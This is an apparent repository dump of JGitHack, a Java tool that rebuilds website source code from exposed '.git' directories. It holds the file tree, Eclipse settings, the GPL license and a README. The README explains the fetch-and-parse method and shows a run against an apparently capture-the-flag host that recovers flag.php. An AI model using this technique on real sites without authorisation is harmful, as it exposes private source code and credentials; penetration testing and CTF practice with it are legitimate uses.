├── .classpath
├── .project
├── .settings
└── org.eclipse.jdt.core.prefs
├── LICENSE
├── README.md
├── release
└── JGitHack.jar
└── src
└── java
└── com
└── jgithack
├── Main.java
├── core
├── IndexParse.java
├── ObjectParse.java
└── PageDownload.java
├── hack
└── GitHack.java
├── io
├── Charsets.java
├── FileUtils.java
├── IOUtils.java
└── StringBuilderWriter.java
├── lang
└── StringUtil.java
├── log
└── LogUtils.java
├── model
└── IndexEntry.java
└── ui
├── AboutFrame.java
└── HomeFrame.java
/.classpath:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.project:
--------------------------------------------------------------------------------
1 |
2 |
3 | JGitHack
4 |
5 |
6 |
7 |
8 |
9 | org.eclipse.jdt.core.javabuilder
10 |
11 |
12 |
13 |
14 |
15 | org.eclipse.jdt.core.javanature
16 |
17 |
18 |
--------------------------------------------------------------------------------
/.settings/org.eclipse.jdt.core.prefs:
--------------------------------------------------------------------------------
1 | #Wed Oct 19 11:55:22 CST 2016
2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.7
3 | eclipse.preferences.version=1
4 | encoding/src/main/java=UTF-8
5 | org.eclipse.jdt.core.compiler.source=1.7
6 | encoding/src/test/resources=UTF-8
7 | encoding/src/main/resources=UTF-8
8 | encoding/src/test/java=UTF-8
9 | org.eclipse.jdt.core.compiler.compliance=1.7
10 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 | {one line to give the program's name and a brief idea of what it does.}
635 | Copyright (C) {year} {name of author}
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | {project} Copyright (C) {year} {fullname}
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # JGitHack
2 | JGitHack is a Java tool using ".git leak" to restore web project.
3 |
4 | ## Main Principle
5 | * fetch git objects directories
6 | + fetch ".git/logs/HEAD" from web
7 | + parse ".git/logs/HEAD" for getting sha1 of commit object
8 | + fetch commit object by their sha1 from web
9 | + parse commit object for getting sha1 of tree object
10 | + fetch tree object for getting sha1 of blob object or other tree object
11 | * fetch current viersion of codes
12 | + ".git/index" from web
13 | + parse ".git/index" for getting the mapping between sha1 and file name
14 | - fetching blob object with sha1
15 | - restore it to file with file name
16 | * git cli can be used from now on for further operation, e.g. checkout old versions.
17 |
18 | ## Example
19 | * run JGitHack with a web url which has ".git leak".(The url used below is dynamic which may be ineffective now.)
20 | ``` shell
21 | GitHack build start
22 | rootUrl: http://10969825b5674ba6b0f0dd5b9742d5677aa2c9ad31314ff7.game.ichunqiu.com/Challenges
23 | downloadDir: 10969825b5674ba6b0f0dd5b9742d5677aa2c9ad31314ff7.game.ichunqiu.com/Challenges
24 | download file "/.git/index", size: 289
25 | download file "/.git/logs/HEAD", size: 975
26 | download file "/.git/config", size: 137
27 | download file "/.git/COMMIT_EDITMSG", size: 15
28 | download file "/.git/HEAD", size: 23
29 | download file "/.git/refs/heads/master", size: 41
30 | download object, sha1: 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88, size: 139
31 | download object, sha1: 1556a1d651526780ecd22db22681619e4ce6aa4b, size: 146
32 | download object, sha1: 69eaa876b7c0ec09169133a0cece4ef4622377f2, size: 83
33 | download object, sha1: 91eb7d06c3c2e3b4260270c008b3bc2fb31fdb53, size: 83
34 | download object, sha1: a5ea8f33599400a1622e06d2052593de79c57716, size: 66
35 | download object, sha1: bd049e0081dbaba2311310b908e4b57cfe961c78, size: 68
36 | download object, sha1: d0632969351d8329c6bdc1cac5e30b7d20fa8c82, size: 59
37 | download object, sha1: 25a4a898b1a45412a538a7baa868bc406c1d8ba9, size: 117
38 | download object, sha1: abbbdcc032c8e76087f2daf593f423f74857b0cf, size: 146
39 | download object, sha1: 734d08bfd094afa3372b997bf1c71412c1afc7d9, size: 145
40 | GitHack build success
41 | GitHack cost 11s
42 | GitHack checkout start
43 | download object, sha1: 8854e23055a5d895157ee4df3e9f38e1e16f5e99, size: 52
44 | restore file: /flag.php, sha1: 8854e23055a5d895157ee4df3e9f38e1e16f5e99
45 | download object, sha1: d0632969351d8329c6bdc1cac5e30b7d20fa8c82, size: 59
46 | restore file: /index.php, sha1: d0632969351d8329c6bdc1cac5e30b7d20fa8c82
47 | download object, sha1: 20c774a517f7ee2d74379ca23d80c200e887eac3, size: 56
48 | restore file: /robots.txt, sha1: 20c774a517f7ee2d74379ca23d80c200e887eac3
49 | GitHack checkout success
50 | ```
51 | * check the status for git
52 | ``` shell
53 | MacBook-Air$ git fsck
54 | Checking object directories: 100% (256/256), done.
55 |
56 | MacBook-Air$ git log
57 | commit abbbdcc032c8e76087f2daf593f423f74857b0cf
58 | Author: tmp
